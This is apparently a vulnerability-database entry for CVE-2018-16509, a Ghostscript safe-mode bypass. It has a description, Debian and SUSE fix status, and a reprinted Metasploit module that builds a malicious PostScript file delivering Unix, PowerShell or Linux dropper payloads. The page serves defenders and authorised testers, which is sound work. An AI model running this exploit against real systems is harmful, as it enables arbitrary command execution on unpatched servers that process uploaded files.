CVE-2018-16509
Description
An issue was discovered in Artifex Ghostscript before 9.24. Incorrect "restoration of privilege" checking during handling of /invalidaccess exceptions could be used by attackers able to supply crafted PostScript to execute code using the "pipe" instruction.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.
✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Ghostscript - Failed Restore Command Execution (Metasploit)
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit
Rank = ExcellentRanking
PLACEHOLDER_STRING = 'metasploit'
PLACEHOLDER_COMMAND = 'echo vulnerable > /dev/tty'
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::CmdStager
include Msf::Exploit::Powershell
def initialize(info = {})
super(update_info(info,
'Name' => 'Ghostscript Failed Restore Command Execution',
'Description' => %q{
This module exploits a -dSAFER bypass in Ghostscript to execute
arbitrary commands by handling a failed restore (grestore) in
PostScript to disable LockSafetyParams and avoid invalidaccess.
This vulnerability is reachable via libraries such as ImageMagick,
and this module provides the latest vector for Ghostscript.
For previous Ghostscript vectors, please see the following modules:
exploit/unix/fileformat/ghostscript_type_confusion
exploit/unix/fileformat/imagemagick_delegate
},
'Author' => [
'Tavis Ormandy', # Vuln discovery and exploit
'wvu' # Metasploit module
],
'References' => [
['CVE', '2018-16509'],
['URL', 'http://seclists.org/oss-sec/2018/q3/142'],
['URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1640']
],
'DisclosureDate' => 'Aug 21 2018',
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux', 'win'],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => false,
'Targets' => [
['Unix (In-Memory)',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_memory,
'Payload' => {'Space' => 4089, 'DisableNops' => true} # 4096 total
],
['PowerShell (In-Memory)',
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :psh_memory
],
['Linux (Dropper)',
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper
]
],
'DefaultTarget' => 0
))
register_options([
OptString.new('FILENAME', [true, 'Output file', 'msf.ps'])
])
register_advanced_options([
OptString.new('WritableDir', [true, 'Writable dir for droppers', '/tmp'])
])
end
def exploit
sploit = template
# Replace our placeholder string with a random one
sploit.sub!(PLACEHOLDER_STRING, Rex::Text.rand_text_alphanumeric(8..42))
# Replace our test payload with the real one
case target['Type']
when :unix_memory
sploit.sub!(PLACEHOLDER_COMMAND, payload.encoded)
when :psh_memory
psh = cmd_psh_payload(payload.encoded, payload.arch, remove_comspec: true)
# XXX: Payload space applies to the payload, not the PSH command
if psh.length > targets[0].payload_space
fail_with(Failure::BadConfig, 'Please choose a smaller payload')
end
sploit.sub!(PLACEHOLDER_COMMAND, psh)
when :linux_dropper
cmdstager = generate_cmdstager(
linemax: targets[0].payload_space,
temp: datastore['WritableDir']
).join(';')
# XXX: Payload space applies to the payload, not the command stager
if cmdstager.length > targets[0].payload_space
fail_with(Failure::BadConfig, 'Please choose a smaller command stager')
end
sploit.sub!(PLACEHOLDER_COMMAND, cmdstager)
end
file_create(sploit)
end
def template
File.read(File.join(
Msf::Config.data_directory, 'exploits', 'ghostscript', 'msf.ps'
))
end
end
Metasploit modules
OS impact
SUSE Affected 1 release
| Version | Status | Fixed in |
|---|---|---|
| — | Affected | — |
Debian Fixed 5 releases
| Version | Status | Fixed in |
|---|---|---|
| trixie | Fixed | 9.25~dfsg-1 |
| sid | Fixed | 9.25~dfsg-1 |
| forky | Fixed | 9.25~dfsg-1 |
| bullseye | Fixed | 9.25~dfsg-1 |
| bookworm | Fixed | 9.25~dfsg-1 |
References
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.